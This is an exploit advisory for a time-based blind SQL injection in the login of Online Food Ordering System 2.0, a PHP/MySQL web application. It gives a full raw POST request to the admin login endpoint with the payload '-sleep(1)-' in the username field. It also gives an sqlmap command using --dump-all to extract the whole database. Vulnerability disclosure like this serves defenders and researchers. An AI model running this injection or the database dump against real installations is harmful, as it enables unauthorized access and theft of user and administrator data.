Online Food Ordering System 2.0 SQL Injection

`# Exploit Title: Online Food Ordering System v2 - Sql Injection (Time-Based Blind)  
# Date: 01/10/2023  
# Exploit Author: Anıl Kızıltan  
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code  
# Version: 2.0   
# Tested on: Macos / XAMPP  
  
  
# username parameter is vulnerable to sql injection. You can exploit this sqlmap command: (First save this raw request as req.txt)  
# sqlmap -r req.txt -p username --dump-all  
  
  
####### Raw Request #######  
  
POST /fos/admin/ajax.php?action=login HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 32  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/fos/admin/login.php  
Cookie: language=en; welcomebanner_status=dismiss; continueCode=LoPJXWEAqruytmUYHrT4FDiBZikOH1Vh8Zh7JHvLtppI9VCvXHEYd7ywQ1B5; cookieconsent_status=dismiss; PHPSESSID=eje1menuonpvjtfbl2ri965btk  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
username='-sleep(1)-'&password=a  
`